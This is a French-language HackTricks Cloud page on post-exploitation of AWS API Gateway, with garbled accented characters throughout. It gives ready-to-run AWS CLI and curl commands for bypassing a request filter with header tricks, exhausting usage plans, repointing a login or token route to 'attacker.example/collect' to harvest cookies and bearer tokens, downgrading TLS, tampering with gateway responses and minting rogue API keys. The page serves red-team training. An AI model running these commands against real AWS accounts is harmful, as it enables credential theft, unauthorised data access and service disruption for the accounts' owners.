AWS - API Gateway Post Exploitation
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
API Gateway
Pour plus dâinformations, consultez :
Accéder aux APIs non exposées
Vous pouvez crĂ©er un endpoint sur https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint avec le service com.amazonaws.us-east-1.execute-api, exposer lâendpoint dans un rĂ©seau auquel vous avez accĂšs (potentiellement via une machine EC2) et assigner un security group autorisant toutes les connexions.
Ensuite, depuis la machine EC2 vous pourrez accĂ©der Ă lâendpoint et donc appeler lâAPI Gateway qui nâĂ©tait pas exposĂ©e auparavant.
Bypass Request body passthrough
Cette technique a été trouvée dans this CTF writeup.
Comme indiquĂ© dans la AWS documentation dans la section PassthroughBehavior, par dĂ©faut la valeur WHEN_NO_MATCH, lors de la vĂ©rification de lâen-tĂȘte Content-Type de la requĂȘte, transmet la requĂȘte au back end sans transformation.
Ainsi, dans le CTF lâAPI Gateway avait un integration template qui empĂȘchait le flag dâĂȘtre exfiltrĂ© dans une rĂ©ponse lorsquâune requĂȘte Ă©tait envoyĂ©e avec Content-Type: application/json:
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
Cependant, lâenvoi dâune requĂȘte avec Content-type: text/json permettait de contourner ce filtre.
Enfin, comme lâAPI Gateway nâautorisait que Get et Options, il Ă©tait possible dâenvoyer une requĂȘte dynamoDB arbitraire sans aucune limite en envoyant une requĂȘte POST avec la requĂȘte dans le corps et en utilisant lâen-tĂȘte X-HTTP-Method-Override: GET:
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
Usage Plans DoS
Dans la section Enumeration vous pouvez voir comment obtenir lâusage plan des clĂ©s. Si vous avez la key et quâelle est limitĂ©e Ă X utilisations par mois, vous pourriez simplement lâutiliser et provoquer un DoS.
LâAPI Key doit simplement ĂȘtre inclusĐ” dans un HTTP header appelĂ© x-api-key.
Swap Route Integration To Exfil Traffic (HTTP APIs / apigatewayv2)
Si vous pouvez mettre Ă jour une HTTP API integration, vous pouvez repoint une route sensible (p.ex. /login, /token, /submit) vers un endpoint HTTP contrĂŽlĂ© par lâattaquant et collecter silencieusement les headers et les bodies (cookies, Authorization bearer tokens, session ids, API keys, secrets envoyĂ©s par des jobs internes, etc.).
Exemple de workflow:
REGION="us-east-1"
API_ID="<http_api_id>"
# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
Notes :
- Pour les HTTP APIs, les modifications prennent gĂ©nĂ©ralement effet immĂ©diatement (contrairement aux REST APIs, oĂč vous devez en gĂ©nĂ©ral crĂ©er un dĂ©ploiement).
- La possibilitĂ© de pointer vers une URL arbitraire dĂ©pend de lâintegration type/config ; dans certains cas, vous pouvez aussi changer lâintegration type lors du patching.
apigateway:UpdateGatewayResponse, apigateway:CreateDeployment
Un attaquant disposant des permissions apigateway:UpdateGatewayResponse et apigateway:CreateDeployment peut modifier une Gateway Response existante pour inclure des en-tĂȘtes personnalisĂ©s ou des modĂšles de rĂ©ponse qui leak des informations sensibles ou exĂ©cutent des scripts malveillants.
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impact potentiel : fuite dâinformations sensibles, exĂ©cution de scripts malveillants ou accĂšs non autorisĂ© aux ressources dâAPI.
Note
Nécessite des tests
apigateway:UpdateStage, apigateway:CreateDeployment
Un attaquant disposant des permissions apigateway:UpdateStage et apigateway:CreateDeployment peut modifier un stage existant dâAPI Gateway pour rediriger le trafic vers un autre stage ou modifier les paramĂštres de cache afin dâobtenir un accĂšs non autorisĂ© aux donnĂ©es mises en cache.
API_ID="your-api-id"
STAGE_NAME="Prod"
# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impact potentiel: AccÚs non autorisé aux données mises en cache, perturbation ou interception du trafic API.
Note
Nécessite des tests
apigateway:PutMethodResponse, apigateway:CreateDeployment
Un attaquant disposant des permissions apigateway:PutMethodResponse et apigateway:CreateDeployment peut modifier la rĂ©ponse de mĂ©thode dâune mĂ©thode existante dâAPI Gateway REST API pour inclure des en-tĂȘtes personnalisĂ©s ou des modĂšles de rĂ©ponse qui leak des informations sensibles ou exĂ©cutent des scripts malveillants.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"
# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impact potentiel: Divulgation dâinformations sensibles, exĂ©cution de scripts malveillants ou accĂšs non autorisĂ© aux ressources API.
Note
Nécessite des tests
apigateway:UpdateRestApi, apigateway:CreateDeployment
Un attaquant disposant des permissions apigateway:UpdateRestApi et apigateway:CreateDeployment peut modifier les paramĂštres REST dâAPI Gateway pour dĂ©sactiver la journalisation ou changer la version minimale de TLS, affaiblissant potentiellement la sĂ©curitĂ© de lâAPI.
API_ID="your-api-id"
# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impact potentiel : Affaiblissement de la sĂ©curitĂ© de lâAPI, pouvant permettre un accĂšs non autorisĂ© ou lâexposition dâinformations sensibles.
Note
Nécessite des tests
apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey
Un attaquant disposant des permissions apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, et apigateway:CreateUsagePlanKey peut créer de nouvelles API keys, les associer à des usage plans, puis utiliser ces clés pour un accÚs non autorisé aux APIs.
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
Impact potentiel : AccĂšs non autorisĂ© aux ressources de lâAPI, contournement des contrĂŽles de sĂ©curitĂ©.
Note
Ă tester
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

